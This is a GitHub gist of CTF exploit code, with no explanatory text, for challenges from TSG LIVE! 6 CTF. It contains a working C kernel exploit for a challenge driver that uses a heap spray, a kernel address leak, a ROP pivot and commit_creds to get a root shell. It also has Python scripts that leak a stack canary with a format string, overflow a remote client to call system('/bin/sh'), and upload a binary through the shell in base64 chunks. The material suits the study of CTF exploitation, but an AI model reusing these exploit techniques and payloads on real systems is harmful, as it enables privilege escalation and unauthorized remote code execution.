Skip to content

Instantly share code, notes, and snippets.

@ptr-yudai
Created May 16, 2021 07:21
Show Gist options
  • Save ptr-yudai/aa4f9ecf1098a9eeda216e9cc3ab6483 to your computer and use it in GitHub Desktop.
Save ptr-yudai/aa4f9ecf1098a9eeda216e9cc3ab6483 to your computer and use it in GitHub Desktop.
pwn writeups - TSG LIVE! 6 CTF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long kbase = 0;
unsigned long commit_creds = (0xffffffff8106cd00 - 0xffffffff81000000);
unsigned long prepare_kernel_cred = (0xffffffff8106d110 - 0xffffffff81000000);
#define SUSHI_REGISTER_RECORD 0xdead001
#define SUSHI_FETCH_RECORD 0xdead002
#define SUSHI_CLEAR_OLD_RECORD 0xdead003
#define SUSHI_CLEAR_ALL_RECORD 0xdead004
#define SUSHI_RECORD_MAX 0x10
#define SUSHI_NAME_MAX 0x10
struct record{
char date[0x10];
unsigned long result;
};
struct ioctl_register_query{
struct record record;
};
struct ioctl_fetch_query{
unsigned rank;
struct record record;
};
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int fd;
void reg(char *date, unsigned long result) {
struct ioctl_register_query q = {.record.result = result};
strncpy(q.record.date, date, 0x0f);
printf("[+] REGISTER: %x\n", ioctl(fd, SUSHI_REGISTER_RECORD, &q));
}
struct record fetch(int rank) {
struct ioctl_fetch_query q;
q.rank = rank + 1;
printf("[+] FETCH: %x\n", ioctl(fd, SUSHI_FETCH_RECORD, &q));
return q.record;
}
void clear_old() {
printf("[+] CLEAR_OLD: %x\n", ioctl(fd, SUSHI_CLEAR_OLD_RECORD, NULL));
}
void clear_all() {
printf("[+] CLEAR_ALL: %x\n", ioctl(fd, SUSHI_CLEAR_ALL_RECORD, NULL));
}
static void win() {
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
write(1, "win!\n", 5);
execve("/bin/sh", argv, envp);
}
static void escalate_privilege() {
char* (*pkc)(int) = (void*)(kbase + prepare_kernel_cred);
void (*cc)(char*) = (void*)(kbase + commit_creds);
(*cc)((*pkc)(0));
}
static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:
: "memory");
}
static void restore_state() {
asm volatile("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss),
"r"((unsigned long)(0x0B0FF000 + 0x4000)),
"r"(user_rflags),
"r"(user_cs), "r"(win));
}
int main() {
fd = open("/dev/sushi-da", O_RDWR);
if (fd == -1)
fatal("open");
save_state();
unsigned long *chain =
(unsigned long*)mmap(0x0B0FF000,
0x8000,
PROT_READ | PROT_EXEC | PROT_WRITE,
MAP_ANON | MAP_PRIVATE | MAP_POPULATE,
-1, 0);
struct record r = {0};
clear_all();
reg("1337AAAABBBBBBBB", 1337);
clear_old();
r = fetch(0);
printf("[+] 0x%016lx\n", *(unsigned long*)r.date);
/* spray */
int fds[0x100];
for (int i = 0; i < 0x100; i++) {
fds[i] = open("/proc/self/stat", O_RDONLY);
}
/* leak */
r = fetch(0);
kbase = *(unsigned long*)r.date - 0x194090; // single_start
printf("[+] kbase = 0x%016lx\n", kbase);
/* pwn */
clear_old();
unsigned long rop_pivot = kbase + (0xffffffff816c5ff1 - 0xffffffff81000000);
unsigned long buf[2];
buf[0] = rop_pivot;
buf[1] = 0xffffffffcafebabe;
for (int i = 0; i < 0x100; i++) {
reg((void*)buf, 0xffffffffdeadc0c0);
}
chain[499] = (void*)escalate_privilege;
chain[500] = (unsigned long)&restore_state;
/* ignite */
printf("%p\n", rop_pivot);
getchar();
char c;
for (int i = 0; i < 0x100; i++) {
read(fds[i], &c, 1);
}
puts("[+] Done");
return 0;
}
from ptrlib import *
import time
#sock = Socket("localhost", 7777)
sock = Socket("nc sushida.pwn.hakatashi.com 1337")
sock.sendlineafter("$ ", "play")
for i in range(3):
sock.recvuntil("[TYPE]")
sock.recvline()
l = sock.recvline()
sock.sendline(l)
sock.sendlineafter("finish!", b"A" * (200 + 0x20) + p32(1))
sock.interactive()
from ptrlib import *
import time
def add(data):
sock.sendlineafter("$ ", "custom")
sock.sendlineafter("] ", data)
def leak():
sock.sendlineafter("$ ", "play")
for i in range(3):
sock.recvuntil("[TYPE]")
sock.recvline()
l = sock.recvline()
if b'NEKO' in l:
return int(l.split(b':')[1], 16)
sock.sendline(l)
sock.recvuntil("finish!")
sock.recvline()
sock.sendline("hoge")
return None
def overflow(payload):
sock.sendlineafter("$ ", "play")
for i in range(3):
sock.recvuntil("[TYPE]")
sock.recvline()
l = sock.recvline()
sock.sendline(l)
sock.recvuntil("finish!")
sock.recvline()
sock.sendline(payload)
elf = ELF("./client")
#sock = Process("./client")
sock = Socket("nc sushida.pwn.hakatashi.com 1337")
# leak canary
add("NEKO:%41$p")
canary = 0
while True:
canary = leak()
if canary is not None:
break
logger.info("canary = " + hex(canary))
sock.sendline("neko")
# pwn
add("ponta")
rop_pop_rdi = 0x004b8a6b # safe gadget
payload = b"\x00" * 0xf8
payload += p64(canary)
payload += b'A' * 8
payload += p64(rop_pop_rdi + 1)
payload += p64(rop_pop_rdi)
payload += p64(next(elf.find("/bin/sh")))
payload += p64(elf.symbol("__libc_system"))
overflow(payload)
sock.interactive()
from ptrlib import *
import time
def add(data):
sock.sendlineafter("$ ", "custom")
sock.sendlineafter("] ", data)
def leak():
sock.sendlineafter("$ ", "play")
for i in range(3):
sock.recvuntil("[TYPE]")
sock.recvline()
l = sock.recvline()
if b'NEKO' in l:
return int(l.split(b':')[1], 16)
sock.sendline(l)
sock.recvuntil("finish!")
sock.recvline()
sock.sendline("hoge")
return None
def overflow(payload):
sock.sendlineafter("$ ", "play")
for i in range(3):
sock.recvuntil("[TYPE]")
sock.recvline()
l = sock.recvline()
sock.sendline(l)
sock.recvuntil("finish!")
sock.recvline()
sock.sendline(payload)
elf = ELF("./client")
#sock = Process("./client")
sock = Socket("nc sushida.pwn.hakatashi.com 1337")
# leak canary
add("NEKO:%41$p")
canary = 0
while True:
canary = leak()
if canary is not None:
break
logger.info("canary = " + hex(canary))
sock.sendline("neko")
# pwn
add("ponta")
rop_pop_rdi = 0x004b8a6b # safe gadget
payload = b"\x00" * 0xf8
payload += p64(canary)
payload += b'A' * 8
payload += p64(rop_pop_rdi + 1)
payload += p64(rop_pop_rdi)
payload += p64(next(elf.find("/bin/sh")))
payload += p64(elf.symbol("__libc_system"))
overflow(payload)
#
import time
import base64
import os
def run(cmd):
sock.sendlineafter("$", cmd)
return
with open("exploit", "rb") as f:
payload = bytes2str(base64.b64encode(f.read()))
run('cd /tmp')
for i in range(0, len(payload), 512):
logger.info("x")
run('echo "{}" >> b64solve'.format(payload[i:i+512]))
run('base64 -d b64solve > solve')
run('rm b64solve')
run('chmod +x solve')
sock.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment